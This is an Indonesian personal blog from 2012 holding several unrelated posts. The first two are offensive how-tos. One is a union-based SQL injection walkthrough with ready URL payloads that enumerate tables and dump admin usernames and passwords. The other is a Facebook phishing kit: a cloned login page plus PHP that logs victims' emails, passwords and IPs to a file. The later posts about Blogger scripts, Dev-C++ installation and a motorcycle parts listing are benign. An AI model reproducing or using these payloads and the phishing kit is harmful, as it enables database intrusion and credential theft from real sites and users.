SQL injection hacking web

18 Feb 2012

Dalam kesempatan ini saya juga mau berbagi ma temen" soal SQL injection untuk hacking web,
jadi silahkan gunakan untuk kebaikan dan keamanan kalian masing2 okey...!!

Cara ngehacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.
Apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.
ini salah satu cara melakukan tekhnik SQL injection,oke, mari kita simak bersama-sama.
1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah

http://www.target.com/berita.php?id=100
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
4. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
6. Nah sampe sini langsung dah nyobain satu2…
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error…
Misalkan errornya disini…
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9″
http://www.target.com/berita.php?id=100+order+by+9/*
7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…
Misalnya yang lo liat adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…
—————————————————
begitulah yang dituliskan disana.
anda masih belum paham tentang apa SQL injection ?
tenang silahkan anda download file dokumen dibawah ini tentang SQL injection step by step.
download SQL injection

sebelumya saya minta maaf bila masih ada kesalahan dalan postingan saya ini.
(From various sources)

Cara membuat fake login Fb(FeisBuk)

17 Feb 2012

untuk kali ni saya mau berbagi info ma temen" nih masalah hack fb, soalnya banyak temen "ku nih yang fb,y di crack sma orang yg nggak bertanggung jawab ,cara ini saya dapat dr tmen di forum
sebut saja Dr.A's.
Cara membuat fake login Fb(FeisBuk)eitss!!! tapi jagan disalah gunakan,smoga berguna bagi temen".

Untuk membuat halaman fake login, pertama-tama kita harus menyiapkan tiga file :
1. login_facebook.html
2. logs.php
3. rekamanpassword.txt

1. Membuat file login_facebook.html
Untuk membuat file login_facebook.html adalah sebagai berikut :
Pertama, buka browser/mozilla kamu ketikan ( http;//www.facebook.com ) di addres bar browser. Pada halaman utama facebook, klik kanan terus pilih view page source, nanti akan keluar kode script html dari facebook tab.

Copy paste semua kode script tersebut di Notepad, kemudian save dan beri nama "login_facebook.html" (Tanpa tanda petik). Selanjutnya adalah merubah fungsi login facebook yang asli menjadi fake login, caranya adalah buka file login_facebook.html, cari kode ini ( http;//login.facebook.com/login.php?login attempt=1 ) untuk mempermudah mancari kode tersebut silahkan tekan CTRL+F lalu masukan (http;//login.facebook.com/login.php?login attempt=1). Kalau sudah ketemu ganti kode tersebut dengan/menjadi logs.php kalau sudah diganti jangan lupa di Save.

2. Membuat file logs.php
Copas kode di bawah dan simpan di notepad dengan nama file "logs.php" (Tanpa tanda petik)

<?php
$file = "rekamanpassword.txt";
$username = $_POST['email'];
$password = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$today = date("F j, Y, g:i a");
$handle = fopen($file, 'a');
fwrite($handle, "++++++++++++++++++++++++++++++++++++++++++++++++++++");
fwrite($handle, "n");
fwrite($handle, "Email: ");
fwrite($handle, "$username");
fwrite($handle, "n");
fwrite($handle, "Password: ");
fwrite($handle, "$password");
fwrite($handle, "n");
fwrite($handle, "IP Address: ");
fwrite($handle, "$ip");
fwrite($handle, "n");
fwrite($handle, "Date Submitted: ");
fwrite($handle, "$today");
fwrite($handle, "n");
fwrite($handle, "++++++++++++++++++++++++++++++++++++++++++++++++++++");
fwrite($handle, "n");
fwrite($handle, "n");
fclose($handle);
echo<left>
<img
src="http://i715.photobucket.com/albums/ww153/gagan_070809/backtohome_thumb
3.jpg?imgmax=800" width="228" border="0" height="240">
</left>
<form method="post" action="http:/www.facebook.com" target="_blank">
<input type="hidden" name="pid" value="<?=$pid?>">
<input type="submit" value="one more again" class="buttom">
</form>
?>

3. Membuat File rekam_password.txt
Buka program notepad, kemudian save dengan nama file "rekamanpassword.txt" (Tanpa tanda petik).

Setelah persiapan, silahkan upload ketiga file tersebut ke hosting. Selesai deh.

Demikian trik dari saya. Selamat mencoba...ingat, ingat jangan di salahgunakan yah.

Cara Membuat Tulisan Selamat Datang Di blog

14 Feb 2012

[--]Berikut lankah-langkah pemasangannya [--]
1. Masuk dulu ke akun blog sobat
2. Klik tulisan " Design[Rancangan]".
3. Klik tulisan "Edit HTML".
Cari kode </head> pada kotak kede HTML blog sobat. Tekan "Ctrl F" lalu ketik pada kotak Cari untuk melakukan pencarian cepat.
4. Sudah dapat kodenya ? Kalau belum cari lagi he..he... Copy Kode berikut ini :

<SCRIPT language='JavaScript'> alert ("TUlisan Selamat Datang DI blog anda") ;</SCRIPT>

5. Paste diatas kode tadi (</head>)
Lakukan pratinjau untuk melihat hasilnya. Kalau suka, kembali ke Edit HTML lalu klik "Simpan Template"
Selesai.


Membuat Taskbar Bergerak Dan Berganti-ganti

1. Login terlebih dahulu pada http://www.blogger.com [KLIK]

2. Pilih Rancangan[Design] >> Element[Page Element] kemudian klik Tambah Gadged[Add Gadged]

3. lalu pilih HTML/JavaScript.

4. Trus CopPas[Copy/Paste] script dibawah ini

<script>
function tb8_makeArray(n){
this.length = n;
return this.length;
}
tb8_messages = new tb8_makeArray(4);
tb8_mengesak[0] = "Welcome...&quot;;
tb8_messages[1] = "...To...";
tb8_messages[2] = ".:My Blog:.";
tb8_messages[3] = "http://cheaterwinata.blogspot.com";
tb8_rptType = 'infinite';
tb8_rptNbr = 5;
tb8_speed = 125;
tb8_delay = 1000;
var tb8_counter=1;
var tb8_currMsg=0;
var tb8_tekst ="";
var tb8_i=0;
var tb8_TID = null;
function tb8_pisi(){
tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1);
document.title = tb8_tekst;
tb8_sp=tb8_speed;
tb8_i++;
if (tb8_i==tb8_messages[tb8_currMsg].length){
tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay;
}
if (tb8_currMsg == tb8_messages.length){
if ((tb8_rptType == 'finite') && (tb8_counter==tb8_rptNbr)){
clearTimeout(tb8_TID);
return;
}
tb8_counter++;
tb8_currMsg = 0;
}
tb8_TID = setTimeout("tb8_pisi()", tb8_sp);
}
tb8_pisi()
</script>

5. Save,. Mudah bukan good luck,.

Keterangan : Ganti tulisan yang bewarna Biru sesuai ke inginnan Anda

Program copiler c++ yang compatibel di windows 7

11 Feb 2012

Bingung mencari software compiler C++ yang free dan bisa berjalan di Windows 7 ? Pada posting kali ini saya akan memberikan informasi software compiler C++ yang free dan bisa berjalan di Windows 7. Pada kasus ini versi Windows yang saya pakai adalah Windows 7 Profesional Edition.

Software compiler atau IDE C++ yang bisa berjalan pada Windows 7 milik saya adalah DEVC++.sumber Berikut ini merupakan tutorial langkah demi langkah menginstall program Dev-C++.
  1. Seperti biasa untuk menginstall program Windows yang sudah selesai didownload, kamu dapat melakukan double klik pada file installernya.
  2. Pada welcome screen devc++ langsung saja klik tombol OK. untuk lebih jelasnya coba perhatikan gambar dibawah ini
  3. Welcome Screen devc 300x107 Program Compiler C++ yang compatibel di Windows 7
  4. Untuk pilihan bahasa, pilih bahasa yang familiar dengan kamu selain Bahasa Indonesia tentunya.Karena pilihan Bahasa Indonesia tidak ada. Pada pilihan ini saya memilih bahasa yang sudah diset secara default oleh program, yaitu Bahasa Inggris. Klik tombol OK untuk memilih bahasa tersebut. Untuk lebih jelasnya coba perhatikan gambar dibawah ini
  5. Pilihan Bahasa Program DevC Program Compiler C++ yang compatibel di Windows 7
  6. Window berikutnya menampilkan informasi mengenai lisensi yang dimiliki oleh program Dev-C++. Dimana lisensi program ini adalah GNU General Public License. Silahkan baca lisensinya, lalu klik tombol I Agree.
  7. Window berikutnya menampilkan daftar komponen yang akan diinstall oleh program Dev-C++. Biarkan saja apa adanya dan langsung klik tombol Next.
  8. Window berikutnya menampilkan lokasi dimana program Dev-C++ akan diinstall. Biarkan saja apa adanya dan langsung klik tombol Install.
  9. Pada pilihan apakah program ini dapat digunakan oleh semua user, klik tombol Yes untuk menyetujui option ini, dan No apabila tidak setuju. Pada kasus ini saya mengklik tombol Yes. Untuk lebih jelasnya coba perhatikan gambar dibawah ini
  10. Option Penggunaan program DevC 300x114 Program Compiler C++ yang compatibel di Windows 7
  11. Pada window berikutnya langsung aja klik tombol Finish untuk mengakhiri proses instalasi program DevC, sekaligus untuk menjalankan program tersebut.
  12. Window berikutnya menampilkan informasi yang menyatakan bahwa program ini masih dalam tahap beta dan juga menampilkan informasi tempat penyimpanan config file dari program DevC. Langsung aja klik tombol OK
  13. Pada Window pilihan setting konfigurasi DevC, langsung aja klik tombol Next sebanyak 3 kali.
  14. Tunggu sampai DevC selesai melakukan konfigurasi. Apabila DevC selesai melakukan konfigurasi, kamu dapat menekan tombol OK. Program DevC akhirnya sukses diinstall dan siap digunakan. Kamu dapat mencoba membuat program hello word yang pernah saya bahas di posting membuat program aplikasi hello word pada posting-posting mendatang yang membahas pemrograman C++, saya akan menggunakan program DevC untuk membuat program dengan menggunakan bahasa C++

    itulah langkah" tersebut,senang berbagi ilmu dengan kalian.
    sumber :http://www.indrabt.com/program-compiler-c-yang-compatibel-di-windows-7.html

mengetahui data yg tercompresi

program c++
untuk mengetahui data yg sudah melalui compresi
saat anda menggunakan sbuah data,anda dapat mengetahui
apakah data tsbut sudah mengalami compresi/ masih asli dgan program c++ di atas.

CAPRICAPO

14 Jan 2012

Add caption
CAPRI CAPO ->
pelindung utama & sbagai lambang perjuangan.
AMANOLA PACE ->
terstuktur untk keselarasan & ksejahteraan




chopper KING COBRA

Rincian Cepat
Jenis: Gas Tank Tempat Asal: Thailand Nama Merek: oleh run
Nomor model: RAJA COBRA FULL SET:
1) GAS TANK
2) DEPAN FENDER:
3) REAR FENDER
4) lampu:
5)
SEAT
Fabrikasi Logam helikopter kustom lembar karya seni untuk chopper.
Raja gaya kobra.
SET LENGKAP "Raja Cobra"
Full set desain raja kobra
1) Tank
2) Headlight
3) Ukuran Fender Depan: 21
4) Kursi
5) Fender Belakang ukuran 250 atau 300
Tank Ukuran: 29-32 Panjang ", Lebar 20", Tinggi 9 "Terowongan:.. 2 inci 4 tersembunyi Gunung Sistem dan Standar Harley Filler Bung disertakan.
FRAME.
CUSTOM Gast TANK oleh run